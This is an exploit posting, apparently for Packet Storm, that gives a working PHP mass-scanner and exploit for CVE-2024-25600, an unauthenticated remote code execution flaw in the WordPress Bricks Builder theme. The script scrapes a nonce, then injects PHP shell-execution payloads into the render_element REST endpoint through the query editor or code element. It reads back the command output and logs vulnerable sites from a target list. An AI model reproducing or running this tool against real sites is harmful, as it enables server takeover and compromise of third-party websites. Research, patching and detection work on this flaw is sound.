=============================================================================================================================================
| # Title     : WordPress Bricks 1.9.6 PHP Scanner                                                                                          |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://bricksbuilder.io/                                                                                                   |
=============================================================================================================================================

POC : 

1. Summary :
   A critical vulnerability in Bricks Builder allows unauthenticated attackers to execute arbitrary PHP code through the Bricks REST API.
   The attack targets the render_element endpoint, injecting malicious instructions in the Query Editor or Code Element, 
   escalating from an Auth Bypass to full RCE. 
   CVE: CVE‑2024‑25600 (https://packetstorm.news/files/id/207959/)


-------------------------
How to Run the Exploit
-------------------------

### **1. Save the script**

Save the code as:

    rce.php

### **2. Start it from terminal**


    php rce.php -u https://target.tld
    php rce.php -l list.txt -o vulnerable.txt
-------------------------
Script                   :
-------------------------
<?php
/*
    CVE-2024-25600 Scanner - PHP Edition
    Author: Indoushka
    RTL Arabic Output – Fully Compatible With Disabled Functions Environment
*/

error_reporting(0);

class BricksScanner {

    private $url;
    private $payloadType;
    private $onlyRce;
    private $pretty;
    private $nonce;

    public function __construct($url, $payloadType = "code", $onlyRce = false, $pretty = false) {
        $this->url         = rtrim($url, "/");
        $this->payloadType = $payloadType;
        $this->onlyRce     = $onlyRce;
        $this->pretty      = $pretty;
        $this->nonce       = $this->fetchNonce();
    }

    private function httpGet($url) {
        $opts = [
            "http" => [
                "method"  => "GET",
                "header"  => "User-Agent: Mozilla/5.0\r\n",
                "timeout" => 20
            ],
            "ssl" => [
                "verify_peer"      => false,
                "verify_peer_name" => false
            ]
        ];
        return @file_get_contents($url, false, stream_context_create($opts));
    }

    private function httpPost($url, $json) {
        $opts = [
            "http" => [
                "method"  => "POST",
                "header"  => "Content-Type: application/json\r\n",
                "content" => $json,
                "timeout" => 20
            ],
            "ssl" => [
                "verify_peer"      => false,
                "verify_peer_name" => false
            ]
        ];
        return @file_get_contents($url, false, stream_context_create($opts));
    }

    private function fetchNonce() {
        $html = $this->httpGet($this->url);
        if (!$html) return null;

        if (preg_match('/id="bricks-scripts-js-extra">(.*?)<\/script>/s', $html, $m)) {
            if (preg_match('/"nonce":"([a-f0-9]+)"/', $m[1], $n)) {
                return $n[1];
            }
        }
        return null;
    }

    private function buildPayload($command = "whoami") {

        $payloadCommand = "throw new Exception(`{$command}`.'END');";

        $base = [
            "postId" => "1",
            "nonce"  => $this->nonce
        ];

        $query = [
            "useQueryEditor" => true,
            "queryEditor"    => $payloadCommand
        ];

        $types = [
            "carousel" => array_merge($base, [
                "element" => [
                    "name" => "carousel",
                    "settings" => [
                        "type"  => "posts",
                        "query" => $query
                    ]
                ]
            ]),

            "container" => array_merge($base, [
                "element" => [
                    "name"     => "container",
                    "settings" => [
                        "hasLoop" => "true",
                        "query"   => $query
                    ]
                ]
            ]),

            "generic" => array_merge($base, [
                "element" => "1",
                "loopElement" => [
                    "settings" => [
                        "query" => $query
                    ]
                ]
            ]),

            "code" => array_merge($base, [
                "element" => [
                    "name"     => "code",
                    "settings" => [
                        "executeCode" => "true",
                        "code"        => "<?php {$payloadCommand} ?>"
                    ]
                ]
            ])
        ];

        return json_encode($types[$this->payloadType], JSON_UNESCAPED_SLASHES);
    }

    private function sendPayload($cmd = "whoami") {

        $endpoint = $this->pretty ?
            $this->url . "/wp-json/bricks/v1/render_element" :
            $this->url . "/?rest_route=/bricks/v1/render_element";

        $json = $this->buildPayload($cmd);
        return $this->httpPost($endpoint, $json);
    }

    private function parseResponse($response) {
        if (!$response) return [false, null, false];

        $json = json_decode($response, true);

        $html = $json["data"]["html"] ?? $response;

        if (preg_match('/Exception:\s*(.*?)END/s', $html, $m)) {
            $out = trim($m[1]);
            return [true, $out, $out !== ""];
        }

        return [true, $html, false];
    }

    public function check() {
        if (!$this->nonce) {
            $this->print("لم يتم العثور على Nonce", "red");
            return [false, null, false];
        }

        $response = $this->sendPayload();
        [$ok, $content, $rce] = $this->parseResponse($response);

        if ($ok) {
            if ($rce) {
                $this->print("⚠ الموقع مصاب ورجع تنفيذ أوامر: {$content}", "green");
            } else {
                if (!$this->onlyRce)
                    $this->print("⚠ الموقع مصاب بتجاوز المصادقة ولكن بدون RCE.", "yellow");
            }
            return [$ok, $content, $rce];
        }

        $this->print("الموقع غير مصاب.", "red");
        return [false, null, false];
    }

    private function print($msg, $color="white") {
        echo "<div style='direction:rtl;text-align:right;color:$color;font-family:Tahoma;font-size:18px;'>$msg</div>";
    }
}


# ============================
#      CLI HANDLING
# ============================

$options = getopt("u:l:o:p::", ["url:", "list:", "output:", "payload-type:", "only-rce", "pretty"]);

if (isset($options["u"]) || isset($options["url"])) {
    $url = $options["u"] ?? $options["url"];
    $payload = $options["p"] ?? "code";
    $onlyRce = isset($options["only-rce"]);
    $pretty  = isset($options["pretty"]);

    $scan = new BricksScanner($url, $payload, $onlyRce, $pretty);
    $scan->check();
    exit;
}

if (isset($options["l"]) || isset($options["list"])) {

    $list  = $options["l"] ?? $options["list"];
    $out   = $options["o"] ?? $options["output"] ?? null;
    $payload = $options["p"] ?? "code";
    $onlyRce = isset($options["only-rce"]);
    $pretty  = isset($options["pretty"]);

    $lines = file($list, FILE_IGNORE_NEW_LINES);

    foreach ($lines as $url) {
        $scan = new BricksScanner($url, $payload, $onlyRce, $pretty);
        [$ok, $content, $rce] = $scan->check();

        if ($ok && (!$onlyRce || $rce)) {
            if ($out) file_put_contents($out, $url . "\n", FILE_APPEND);
        }
    }
    exit;
}

echo "Usage:\n";
echo "php scanner.php -u https://target.tld\n";
echo "php scanner.php -l list.txt -o vulnerable.txt\n";

?>




Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================